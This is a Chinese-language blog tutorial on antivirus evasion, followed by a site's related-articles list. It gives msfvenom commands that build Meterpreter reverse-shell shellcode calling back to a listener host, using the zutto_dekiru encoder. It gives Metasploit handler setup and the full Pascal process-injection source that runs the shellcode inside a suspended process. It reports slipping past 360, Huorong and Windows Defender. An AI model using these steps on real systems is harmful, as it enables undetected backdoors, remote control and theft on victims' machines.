利用Pascal+zutto_dekiru进行免杀

简介: 利用Pascal+zutto_dekiru进行免杀

0x01 前言

最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。


项目地址:https://github.com/0xsp-SRD/OffensivePascal

0x02 项目测试

在测试这个项目前我们得先装好Lazarus环境,然后将OffensivePascal项目下载到本地,使用作者给出的msfvenom命令生成Pascalg格式的shellcode,并将其全部放置在一行。

    msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.120 LPORT=443 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2-
    msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
    msf5 exploit(multi/handler) > set lhost 192.168.1.120
    msf5 exploit(multi/handler) > set lport 443
    msf5 exploit(multi/handler) > exploit


    接着在Lazarus环境中打开OffensivePascal项目Simple Shellcode injection件夹中injector.lpr,将处理好的Pascalg格式的shellcode替换到shellcode:array中,然后进行编译即可。


    这里需要注意下msfvenom生成的payload大小,因为要删除掉shellcode后的;,,所以在injector.lpr源代码中填写payload大小时可能要-1,如果填写的不对在编译时就可能会出现报错,如下图。


    这里我们用360、火绒、PC和Server端的windows defender来扫描下刚编译的injector.exe,看下是否已经能够免杀?在下图中可以看到360是免杀了,但是火绒和windows defender还是查杀到了。

    0x03 免杀处理

    直接用作者的msfvenom命令生成的shellcode编译的exe已经被火绒和windows defender查杀,但如果不加那段shellcode就不会被杀,所以我们还需要做进一步的免杀处理。

    经过测试后发现其实很简单,只要在msfvenom生成shellcode时使用-e参数加上zutto_dekiru编码即可实现免杀,次数也可以用-i参数控制,可同时免杀360、火绒、金山毒霸、PC和Server端的windows defender。


    接着我们再按以上的测试流程重新走一遍就行了,生成shellcode->处理shellcode->替换shellcode->编译exe->执行上线,都是一些重复的操作,就不详细写了,这时可以看到执行后已经成功上线了。

      msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -e x64/zutto_dekiru -i 5 -f c | sed -r 's/[\x]+/$/g' | sed -r 's/[\]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/\,/' | cut -c 2-
      msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
      msf5 exploit(multi/handler) > set lhost 192.168.1.120
      msf5 exploit(multi/handler) > set lport 443
      msf5 exploit(multi/handler) > exploit

      injector.lpr:

        {
          this one is part of repo published on github under the name of Offensive Pascal
          Pascal is a great and still up to date :)
          these projects can be compilied using FreePascal (FPC)
          or Delphi
          author : @zux0x3a
          site :   0xsp.com / ired.dev
          https://github.com/0xsp-SRD/OffensivePascal
         }
        program injector;
        {$mode delphi}
        uses
          Classes,windows;
        procedure inject_shell;
        const
          //Windows x64 MessageBox Shellcode (434 bytes)
          shellcode:array[0..768] of BYTE = (
          Insert Shellcode Here);
        var
          pi: TProcessInformation;
          si: TStartupInfo;
          {$ifdef win32}
          ctx: Context;
          {$endif}
          {$ifdef win64}
          ctx : Pcontext;
          {$endif}
          remote_shellcodePtr: Pointer;
          {$ifdef win64}
          Written:dword64;
          {$endif}
           {$ifdef win32}
          Written:dword;
          {$endif}
          AppToLaunch: string;
          i ,s_size: Cardinal;
          shell_prt : string ;
         shell_code :  array of byte;
        begin
        AppToLaunch := 'notepad.exe';
        UniqueString(AppToLaunch);
        FillMemory( @si, sizeof( si ), 0 );
        FillMemory( @pi, sizeof( pi ), 0 );
        writeln('[+] Creating Process in Suspended Mode');
        CreateProcess('c:\windows\system32\cmd.exe', PChar(AppToLaunch), nil, nil, False,
                      CREATE_SUSPENDED,
                      nil, nil,  si, pi );
         {$ifdef win32}
         ctx.ContextFlags := CONTEXT_CONTROL;
         GetThreadContext(pi.hThread,ctx);
         {$endif}
         {$ifdef win64}
          ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));
          ctx.ContextFlags := CONTEXT_ALL;
          GetThreadContext(pi.hThread,ctx^);
         {$endif}
         //allocate the memory size
         remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,
           PAGE_EXECUTE_READWRITE);
         // write array of bytes into process memory
         WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written);
        {$ifdef win64}
         ctx.rip:=dword64(remote_shellcodePtr);
         //ctx.ContextFlags := CONTEXT_CONTROL;
         SetThreadContext(pi.hThread,ctx^);
         ResumeThread(pi.hThread);
        {$ENDIF}
        {$ifdef win32}
         ctx.Eip:=integer(remote_shellcodePtr);
         ctx.ContextFlags := CONTEXT_CONTROL;
         SetThreadContext(pi.hThread,ctx);
         ResumeThread(pi.hThread);
        {$endif}
         end;
        begin
          inject_shell;
        end.


        0x04 注意事项

        这种免杀方式只能过杀软的静态查杀,在Meterpreter会话中执行getsystem提权、 migrate进程迁移等命令时还是会被windows defender阻止,这里我也只是简单测试了下PC的windows defender,至于360、火绒等其他安全防护产品还会拦截哪些操作和行为还请自行测试...。

        相关文章
        |
        6月前
        |
        算法 搜索推荐 C语言
        PageRank原理及C语言实现
        PageRank原理及C语言实现
        58 0
        |
        12月前
        |
        安全 PHP
        webshell免杀中符号的妙用
        webshell免杀中符号的妙用
        |
        12月前
        |
        网络协议 C++
        Bypass Anti-Virus——免杀姿势学习、记录、复现文档
        Bypass Anti-Virus——免杀姿势学习、记录、复现文档
        334 0
        |
        安全 PHP 数据安全/隐私保护
        免杀&&抽奖|python进行shellcode免杀(二)
        免杀&&抽奖|python进行shellcode免杀
        576 0
        |
        API 数据安全/隐私保护 C语言
        免杀&&抽奖|python进行shellcode免杀(一)
        免杀&&抽奖|python进行shellcode免杀
        165 0
        |
        API Go C#
        免杀&&抽奖|python进行shellcode免杀(三)
        免杀&&抽奖|python进行shellcode免杀
        229 0
        |
        编译器 iOS开发 C++
        macOS下使用Pascal语言编程
        Pascal的名称是为了纪念十七世纪法国著名哲学家和数学家Blaise Pascal而来的,它由瑞士Niklaus Wirth教授于六十年代末设计并创立的。Pascal语言语法严谨,层次分明,程序易写,可读性强,是第一个结构化编程语言。Pascal语言广泛用于各种软件,程序分为名称(program后自拟)、设置(var后规定)、开始(begin)、程序(正文)、读取(read/read ln)、结束(end),结构层次强,严谨而又紧密。
        261 0
        |
        自然语言处理 JavaScript 前端开发
        万恶的 eval() ?
        万恶的 eval() ?
        83 0